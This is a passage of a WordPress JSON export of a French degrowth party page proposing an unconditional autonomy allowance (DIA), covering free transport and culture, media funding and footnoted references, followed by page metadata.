transports doux, par exemple en proposant gratuitement des v\u00e9los ou en offrant \u00e0 chaque individu une bicyclette et un forfait entretien. On peut \u00e9galement imaginer un syst\u00e8me de forfait kilom\u00e9trique gratuit de transports en commun dont tout d\u00e9passement serait \u00e0 la charge de l&rsquo;usager.<\/p>\n<p>Cette derni\u00e8re option permettrait notamment de relocaliser l&rsquo;activit\u00e9. Ainsi, la gratuit\u00e9 du transport domicile-travail ou domicile-activit\u00e9 sera limit\u00e9e et ne pourra pas \u00eatre uniquement \u00e0 la charge de la collectivit\u00e9 ou de l&#8217;employeur car l&#8217;employ\u00e9 n&rsquo;aurait pas forcement int\u00e9r\u00eat \u00e0 relocaliser sa vie. La proximit\u00e9 a ses limites et, \u00e0 nous, de m\u00e9nager le territoire afin que tout individu puisse r\u00e9duire ses parcours et relocaliser sa vie. Dans ce cas, si un citoyen d\u00e9sire habiter loin de son lieu de travail, \u00e0 lui d&rsquo;assumer ce choix.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Culture et droit \u00e0 l&rsquo;information<\/strong><\/p>\n<p>La culture est un des \u00e9l\u00e9ments de la DIA. L&rsquo;acc\u00e8s aux lieux culturels ne doit pas \u00eatre frein\u00e9 par un crit\u00e8re financier mais, au contraire, encourag\u00e9 par la gratuit\u00e9 et\/ou sous forme de forfaits. Parce que la culture est un pr\u00e9alable \u00e0 toutes pens\u00e9es politiques, elle doit figurer comme le c\u0153ur d\u2019un nouveau paradigme, la soci\u00e9t\u00e9 de D\u00e9croissance.<br \/>\nLa culture, l\u2019art, nous forme, nous transforme tout au long de notre vie, nous nourrit, nous relie \u00e0 notre corps, \u00e0 notre langue, \u00e0 notre humanit\u00e9, mais aussi \u00e0 notre pass\u00e9, \u00e0 notre m\u00e9moire collective : la langue, qui nous permet d\u2019appr\u00e9hender le monde, de tenter de le comprendre et de l\u2019imaginer autre, est aussi un courant qui nous relie et nous permet de \u00ab faire soci\u00e9t\u00e9 \u00bb, d\u2019agir sur le monde, d\u2019\u00e9changer avec l\u2019autre, et donnent envie de vivre pour ceux qui viennent en leur pr\u00e9parant des sources de r\u00e9sistances.<br \/>\nComme l&rsquo;explique la philosophe Marie-Jos\u00e9e Mondzain, d\u00e9fendre la culture n\u2019est pas d\u00e9fendre une politique culturelle, c\u2019est lutter contre l\u2019effondrement de la politique. La culture en tant que condition de la parole, de la circulation des d\u00e9bats, des jugements, est ce qui provoque le changement, ouvre la voie \u00e0 la cr\u00e9ation, \u00e0 l\u2019imagination. Elle est donc indispensable \u00e0 notre acc\u00e8s \u00e0 la citoyennet\u00e9, \u00e0 la libert\u00e9 et \u00e0 l\u2019\u00e9galit\u00e9.<\/p>\n<p>Le droit \u00e0 une information diverse et ind\u00e9pendante est essentiel \u00e0 la vie d&rsquo;une soci\u00e9t\u00e9. Ainsi la publicit\u00e9 dans les m\u00e9dias sera fortement tax\u00e9e afin de financer des m\u00e9dias ind\u00e9pendants et un journalisme d&rsquo;investigation de qualit\u00e9.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<p>Il va de soi que cette dotation est \u00e0 d\u00e9cliner en partie localement, de mani\u00e8re choisie et d\u00e9mocratique, en fonction des contraintes et des besoins locaux mais aussi des cultures et des traditions. On peut envisager de mettre en place cette DIA \u00e0 diff\u00e9rents niveaux (quartier, ville, r\u00e9gion, pays, Union Europ\u00e9enne, monde) et aussi en commen\u00e7ant par \u00e9tape : par exemple localement avec ici la mise en place d&rsquo;une monnaie locale fondante pour acheter des fruits et l\u00e9gumes produits localement, ou encore l\u00e0, la mise en place de la gratuit\u00e9 du bon usage de l&rsquo;eau ou nationalement avec la mise en place d&rsquo;un revenu inconditionnel d&rsquo;existence ou de l&rsquo;acc\u00e8s \u00e0 la sant\u00e9 gratuite.<\/p>\n<p>Une dotation inconditionnelle d&rsquo;autonomie s&rsquo;inscrirait dans une continuit\u00e9 historique de l&rsquo;\u00e9mancipation humaine en \u00e9largissant les droits fondamentaux[21] et en donnant une chance r\u00e9elle d&rsquo;appropriation de nos choix de vie tout en initiant une bifurcation, une transition vers l&rsquo;apr\u00e8s-d\u00e9veloppement et la sortie de l&rsquo;impasse dans laquelle nous am\u00e8ne cette soci\u00e9t\u00e9 de Croissance, capitaliste, productiviste et consum\u00e9riste.<\/p>\n<p><strong>\u00a0<a href=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2012\/02\/DIA-26-02-12-1.pdf\">Version de mars 2012 \u00e0 t\u00e9l\u00e9charger en pdf<\/a><\/strong><\/p>\n<\/div>\n<div><br clear=\"all\" \/><\/p>\n<hr align=\"left\" size=\"1\" width=\"33%\" \/>\n<div>\n<p>[1]\u00a0\u00a0 Nous faisons la distinction entre la D\u00e9croissance (avec majuscule) qui est \u00e0 la fois un slogan mot obus, le nom d&rsquo;un nouveau mouvement politique et aussi le nom d&rsquo;un projet politique et la d\u00e9croissance (avec minuscule), qui correspond au sens premier du terme en fran\u00e7ais comme d\u00e9croissance des in\u00e9galit\u00e9s ou de l&#8217;empreinte \u00e9cologique.<\/p>\n<\/div>\n<div>\n<p>[2]\u00a0\u00a0 Cette derni\u00e8re condition peut \u00eatre discut\u00e9e et l&rsquo;octroi de la DIA conditionn\u00e9 \u00e0 la participation ponctuelle \u00e0 des actions civiques ou \u00e0 la mise en place d&rsquo;un service civique.<\/p>\n<\/div>\n<div>\n<p>[3]\u00a0\u00a0 Vincent Liegey (texte collectif), Novembre 2010, La D\u00e9croissance sera-t-elle autoritaire ? La D\u00e9croissance sera d\u00e9mocratique ou ne sera pas !, Journal <em>La D\u00e9croissance<\/em>, n\u00b074.<\/p>\n<p><a href=\"..\/?p=5008\">http:\/\/www.partipourladecroissance.net\/?p=5008<\/a><\/p>\n<\/div>\n<div>\n<p>[4]\u00a0\u00a0 Un rapport de 1 \u00e0 4 avait \u00e9t\u00e9 \u00e9voqu\u00e9 par le Parti Pour La D\u00e9croissance lors des \u00e9lections europ\u00e9ennes de 2009 (listes Europe-D\u00e9croissance). <a href=\"..\/?p=2605\">http:\/\/www.partipourladecroissance.net\/?p=2605<\/a>. De son c\u00f4t\u00e9 Europe-Ecologie-Les-Verts propose un rapport de 1 \u00e0 30 et le Parti de Gauche un rapport de 1 \u00e0 20.<\/p>\n<\/div>\n<div>\n<p>[5]\u00a0\u00a0 Thorstein Veblen et sa Th\u00e9orie de la classe de loisir (1899), reprise par Herv\u00e9 Kempf dans son livre \u00ab\u00a0Comment les riches d\u00e9truisent la plan\u00e8te\u00a0\u00bb, Seuil, Paris, 2007.<\/p>\n<\/div>\n<div>\n<p>[6]\u00a0\u00a0 Crise li\u00e9e \u00e0 la rar\u00e9faction des ressources naturelles qui d\u00e9bouchent sur une augmentation des prix de celles-ci et donc sur des r\u00e9cessions successives qui appauvrissent toujours plus les plus pr\u00e9caires. Voir, entre autres, l&rsquo;excellente analyse de Richard Heinberg sur la crise de 2008 : \u00ab\u00a0Une r\u00e9cession temporaire\u2026 ou la fin de la croissance ?\u00a0\u00bb, <a href=\"..\/?p=4425\">http:\/\/www.partipourladecroissance.net\/?p=4425<\/a><\/p>\n<\/div>\n<div>\n<p>[7]\u00a0\u00a0 Andr\u00e9 Gorz, \u00ab\u00a0M\u00e9tamorphoses du travail\u00a0\u00bb, Folio Essais, 2004 et \u00ab\u00a0Repenser le travail\u00a0\u00bb, \u00e9coRev&rsquo; n\u00b028, automne-hiver 2007.<\/p>\n<\/div>\n<div>\n<p>[8]\u00a0\u00a0 Voir par exemple les initiatives de d\u00e9sob\u00e9issance civile dans les services publics et ces agents refusant de suivre des directives allant \u00e0 l&rsquo;encontre m\u00eame de la notion de service public. Ainsi, avec ces ing\u00e9nieurs qui refusent l&rsquo;obsolescence programm\u00e9e et la conception d\u2019objets dans le seul but de faire tourner l&rsquo;\u00e9conomie.<\/p>\n<\/div>\n<div>\n<p>[9]\u00a0\u00a0 Une des objections principales \u00e0 l&rsquo;instauration d\u2019une telle dotation d\u00e9coupl\u00e9e du travail salari\u00e9 est la d\u00e9sertion du march\u00e9 du travail, c&rsquo;est-\u00e0-dire est-ce que l&rsquo;on ne va pas choisir \u00ab\u00a0l&rsquo;oisivet\u00e9\u00a0\u00bb plut\u00f4t qu&rsquo;une participation \u00e0 \u00ab\u00a0l\u2019effort\u00a0\u00bb productif\u00a0? Plusieurs contre-arguments peuvent y \u00eatre oppos\u00e9s parmi lesquels :<\/p>\n<p>&#8211; Plusieurs \u00e9tudes ont montr\u00e9 que dans le cas d&rsquo;un revenu garanti (que ce soit dans le cadre de mise en place exp\u00e9rimentale de la DIA ou pour des gagnants d&rsquo;une loterie du type 1000 euros par mois), la grande majorit\u00e9 des personnes concern\u00e9es gardent un emploi.<\/p>\n<p>&#8211; A ceux qui ont peur des tensions que pourraient cr\u00e9er une hypoth\u00e9tique division de la population entre une partie ayant choisi le travail salari\u00e9 \u00ab\u00a0productif\u00a0\u00bb et une autre partie\u00a0, consid\u00e9r\u00e9e comme \u00ab\u00a0parasite\u00a0\u00bb de la soci\u00e9t\u00e9 marchande, on pourra r\u00e9torquer que le syst\u00e8me actuel a d\u00e9j\u00e0 un co\u00fbt non n\u00e9gligeable \u00e0 leur \u00ab\u00a0charge\u00a0\u00bb et qu\u2019il repr\u00e9sente la contrepartie de la soci\u00e9t\u00e9 de croissance : co\u00fbt du ch\u00f4mage de masse et de ses cons\u00e9quences humanitaires et sociales (exclusion, pauvret\u00e9, d\u00e9pression, alcoolisme&#8230;), co\u00fbt des maladies li\u00e9es au travail, stress, travail pr\u00e9caire (consommation d&rsquo;antid\u00e9presseurs, arr\u00eat de travail), ou encore des cons\u00e9quences de ce mod\u00e8le productif sur l&rsquo;environnement (pollution, \u00e9puisement des ressources) mais aussi des relations nord-sud (pillage organis\u00e9 du sud par le nord avec 20% des plus riches qui s&rsquo;approprient 87% des ressources naturelles, guerres d&rsquo;appropriation des ressources, notamment fossiles), etc.<\/p>\n<p>&#8211; Si tout le monde d\u00e9serte le travail, cela ne signifie-t-il pas qu&rsquo;il est pour tous ceux-l\u00e0, en ce moment, une obligation, une contrainte, une ali\u00e9nation plus qu&rsquo;un mode d&rsquo;\u00e9panouissement? Ce sera donc une preuve de plus que l&rsquo;organisation sociale avait besoin d&rsquo;\u00eatre repens\u00e9e et refond\u00e9e.<\/p>\n<p>&#8211; Enfin, alors que la souffrance au travail est toujours plus grande, on constate que le nombre de b\u00e9n\u00e9voles est toujours tr\u00e8s \u00e9lev\u00e9 en France. Ainsi on estime \u00e0 12 millions le nombre de fran\u00e7ais-es qui participent \u00e0 des activit\u00e9s b\u00e9n\u00e9voles.<\/p>\n<\/div>\n<div>\n<p>[10] C&rsquo;est la diff\u00e9rence majeure entre la notion de revenu (de base, universel, inconditionnel d&rsquo;existence&#8230;) et de dotation. Nos r\u00e9flexions sur la notion de dotation s&rsquo;appuient sur la notion de revenu et les travaux associ\u00e9s (notamment les travaux de Baptiste Mylondo), mais pas seulement. Elles s&rsquo;appuient aussi sur celles de l&rsquo;extension des sph\u00e8res de la gratuit\u00e9 (gratuit\u00e9, quasi-gratuit\u00e9 du bon-usage et rench\u00e9rissement du m\u00e9susage), les r\u00e9flexions sur les monnaies locales fondantes et aussi nos r\u00e9flexions sur une transition d\u00e9mocratique et sereine vers des soci\u00e9t\u00e9s de D\u00e9croissance, pour une sortie du capitalisme et du productivisme. C&rsquo;est la critique que nous faisons du revenu inconditionnel bien que nous soulignons l&rsquo;avanc\u00e9e culturelle et sociale que celui-ci repr\u00e9sente. Nous craignons qu&rsquo;il n&rsquo;aille pas assez loin et qu&rsquo;il soit plus un palliatif \u00e0 une soci\u00e9t\u00e9 malade, en particulier du fait qu&rsquo;il risque de renforcer le syst\u00e8me capitaliste en partageant non pas les biens mais l&rsquo;argent et qu&rsquo;il ne questionne pas sur le contenu, le sens de l&rsquo;utilisation de celui-ci.<\/p>\n<\/div>\n<div>\n<p>[11] Voir les travaux du professeur Yoland Bresson,\u00a0 Baptiste Mylondo,\u00a0 Jean Vassilev, P. Van Parijs, Y. Moulier Boutang, Carlo Vercellone, Jean-Marie Monnier, B. Van Der Lynden ou encore Alain Caill\u00e9.<\/p>\n<\/div>\n<div>\n<p>[12] Voir par exemple le documentaire \u00ab\u00a0L&rsquo;argent Dette\u00a0\u00bb de Paul Grignon. <a href=\"..\/?p=131\">http:\/\/www.partipourladecroissance.net\/?p=131<\/a><\/p>\n<\/div>\n<div>\n<p>[13]\u00a0 Voir entre autres, les excellents travaux du Comit\u00e9 pour l&rsquo;Annulation de la Dette du Tiers Monde (CADTM).\u00a0 Les dettes publiques, au nord comme au sud\u00a0 continuent \u00e0 justifier la mise en place de politiques d&rsquo;aust\u00e9rit\u00e9, de casse des services publiques et de privatisations qui ne servent que l&rsquo;int\u00e9r\u00eat de l&rsquo;oligarchie.<\/p>\n<\/div>\n<div>\n<p>[14] L&rsquo;armement et la publicit\u00e9 repr\u00e9sentent les deux premiers budgets mondiaux avec respectivement plus de 1000 milliards de dollars et plus de 500 milliards de dollars ! Il s&rsquo;agit ici d&rsquo;engager une reconversion de ces connaissances, comp\u00e9tences, exp\u00e9riences et ressources vers des activit\u00e9s socialement et humainement souhaitables.<\/p>\n<\/div>\n<div>\n<p>[15] Voir l&rsquo;excellent documentaire : \u00ab\u00a0Pr\u00eat \u00e0 jeter\u00a0\u00bb, <a href=\"..\/?p=6055\">http:\/\/www.partipourladecroissance.net\/?p=6055<\/a><\/p>\n<\/div>\n<div>\n<p>[16] Baptiste Mylondo, \u00ab\u00a0Un Revenu pour tous\u00a0! Pr\u00e9cis d&rsquo;utopie r\u00e9aliste\u00a0\u00bb, les \u00e9ditions Utopia, 2010.<\/p>\n<\/div>\n<div>\n<p>[17] Nous souhaitons insister sur la notion d&rsquo;ouverture c&rsquo;est pourquoi on parle de relocalisation ouverte afin de bien la distinguer d&rsquo;une logique de replis identitaire. En effet, un des risques avec la notion de relocalisation est de retomber dans des soci\u00e9t\u00e9s s&rsquo;enfermant dans l&rsquo;entre-soi. Le projet de D\u00e9croissance est un projet d&rsquo;\u00e9mancipation humaine qui ne pourra passer que par une ouverture culturelle et sociale vers l&rsquo;autre.<\/p>\n<\/div>\n<div>\n<p>[18] Monnaies locales fondantes : il s&rsquo;agit d&rsquo;une monnaie dont la valeur diminue dans le temps, afin de lutter contre la logique de sp\u00e9culation. Son but est de promouvoir des \u00e9changes et une \u00e9conomie locale et soutenable.<\/p>\n<\/div>\n<div>\n<p>[19] R\u00e9silience : concept souvent mis en avant dans le mouvement des villes en transition, il s&rsquo;agit de la capacit\u00e9 d&rsquo;une communaut\u00e9 \u00e0 r\u00e9sister aux crises \u00e0 venir, en particulier se pr\u00e9parer au pic de p\u00e9trole en sortant de notre d\u00e9pendance \u00e0 celui-ci.<\/p>\n<\/div>\n<div>\n<p>[20] Voir note 6 sur la diff\u00e9rence entre revenu (de base, universel, inconditionnel d&rsquo;existence&#8230;) et dotation.<\/p>\n<\/div>\n<div>\n<p>[21] Le principe de cette dotation, donnant le droit de vivre dignement de la naissance \u00e0 la mort de mani\u00e8re inconditionnel, pourrait \u00eatre une extension de la d\u00e9claration universelle des droits de l&rsquo;homme et du citoyen.<\/p>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>La Dotation Inconditionnelle d\u2019Autonomie (DIA), un outil pour l\u2019\u00e9galit\u00e9 et la dignit\u00e9. Promouvoir une transition d\u00e9mocratique et sereine vers des soci\u00e9t\u00e9s soutenables et surtout souhaitables de D\u00e9croissance. \u00ab\u00a0L&rsquo;homme ne d\u00e9sire pas par nature gagner de plus en plus d&rsquo;argent, mais &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?page_id=6993\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"parent":3995,"menu_order":1,"comment_status":"closed","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-6993","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/pages\/6993","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6993"}],"version-history":[{"count":6,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/pages\/6993\/revisions"}],"predecessor-version":[{"id":6995,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/pages\/6993\/revisions\/6995"}],"up":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/pages\/3995"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6993"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}